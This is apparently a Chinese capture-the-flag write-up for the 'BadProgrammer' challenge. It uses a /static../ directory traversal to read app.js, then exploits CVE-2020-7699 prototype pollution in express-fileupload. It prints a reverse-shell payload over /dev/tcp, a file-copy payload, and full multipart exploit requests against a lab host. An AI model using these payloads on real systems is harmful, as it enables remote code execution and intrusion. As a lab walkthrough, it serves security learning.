news 2026/6/17 20:41:43

攻防世界——BadProgrammer

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
攻防世界——BadProgrammer

拿到靶机首先抓包观察用的是什么服务器和框架

发现服务器是Nginx,框架是PHP的express框架

再用dirsearch扫一遍

发现扫出了/static../

意味着服务器存在配置错误,导致了目录遍历漏洞。

当服务器配置不当时,特别是处理静态文件路径时,攻击者可以利用../(上级目录)序列突破Web根目录限制,访问到服务器上的任意文件。

找到源代码(app.js)

许多Web框架(如Django、Flask、Express等)默认采用/static/作为静态文件目录,而源代码一般都为app.js/app.py

const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });

代码审计

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); });

定义了一个POST路由,路径是/4_pATh_y0u_CaNN07_Gu3ss,当访问此路径时,服务器会渲染flag.ejs文件。

也许flag就在这个路径里

用POST访问/4_pATh_y0u_CaNN07_Gu3ss

看到flag在 flag.txt 中,但是无法直接访问到 flag.txt

再观察源代码

app.use(fileUpload({ parseNested: true }));

发现代码中使用了express-fileupload中间件,且启用了parseNested: true选项

也许这里存在CVE-2020-7699:NodeJS模块代码注入

但这个漏洞仅存在于express-fileupload版本低于1.1.9(不包含)

在package.json中获取版本信息

发现为1.1.7,低于1.1.9

确定存在CVE-2020-7699:NodeJS模块代码注入

CVE-2020-7699:NodeJS模块代码注入

漏洞成因:express-fileupload中间件在处理文件上传时,没有对参数名进行安全校验,特别是当启用parseNested: true选项时,允许通过特殊构造的参数名直接操作JavaScript对象的原型链。

原型链污染:攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件,污染Object的原型,从而影响所有JavaScript对象。

反弹shell通用payload如下:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x

ip为公网ip,port为探测端口

文件复制payload如下:

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

cpcopy命令,用于复制文件基础文件操作

/flag.txt源文件路径(根目录下的flag文件)目标flag所在位置

/app/static/js/Web应用静态文件目录可公开访问的目录

flag.txt复制后的文件名保持名称不变,避免混淆

初步探测一下,观察是否有过滤

构造报文

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;console.log('TEST');x -----------------------------1546646991721295948201928333--

成功返回,看来没有过滤

最终利用

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--

发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。

curl http://61.147.171.103:58898/static/js/flag.txt

cyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/17 14:16:21

AI 搜索时代新战场:智汇GEO 如何重构品牌 AI 形象管理规则

AI 搜索已成为商业决策与消费选择的重要参考场景,品牌在 AI 生成结果中的能见度、信息准确性直接影响市场信任度与商业转化。当 AI 答案的话语权持续提升,品牌传统形象管理模式已难以应对动态变化的 AI 生态,而新榜智汇的出现,正为…

作者头像 李华
网站建设 2026/6/18 0:18:12

小红书Java面试被问:java创建对象有哪些方式?

在Java中,创建对象主要有以下五种核心方式,每种方式都有其适用场景: 1. 使用 new 关键字(最常用) java // 调用构造方法 Person person new Person(); 特点:直接调用类的构造器,触发类加载&a…

作者头像 李华
网站建设 2026/6/18 0:15:14

2025年AI品牌舆情监听:9款核心工具评估与选择指南

什么是大型语言模型监控工具? LLM监控工具追踪您的品牌在ChatGPT、Claude和谷歌AI概览等平台生成的AI响应中的表现。 当潜在客户向人工智能询问你所在行业的产品或服务时,你需要知道你的品牌是否被提及。以及你与竞争对手的比较。 这些监控LLM可见度的工…

作者头像 李华
网站建设 2026/6/17 9:17:36

B2B内容营销终极指南:基于数据的有效策略、无效陷阱与可忽略的噪音

什么是B2B内容营销? B2B内容营销是通过高质量内容量身定制,教育、影响并转化企业买家的方式。 这不是为了提高曝光率或通过社交媒体帖子追逐点击。这或许能吸引注意力,但很少能推动行动。 B2B买家不会草率做出决策。他们会让团队成员介入&…

作者头像 李华
网站建设 2026/6/17 19:21:40

程序员搞钱新赛道:大模型开发全栈教程,小白也能30天速成!

Part.1 AI工程师都要会些什么? 大语言模型(Large Language Model,LLM)技术的兴起,正在深刻影响软件的形态,开发者的工作也从实现业务逻辑、构建独立应用,转向以LLM为底层引擎快速搭建智能应用的…

作者头像 李华
网站建设 2026/6/16 3:58:38

ensp下载官网类比:寻找Qwen3-14B官方模型分发渠道

Qwen3-14B 模型镜像:从“eNSP下载官网”看企业级AI部署的可信源头 在企业IT建设中,工程师对设备镜像的来源有着近乎严苛的要求——没人会从第三方论坛下载华为eNSP的模拟器镜像来搭建生产环境教学平台,因为那可能埋藏后门、存在兼容性问题&am…

作者头像 李华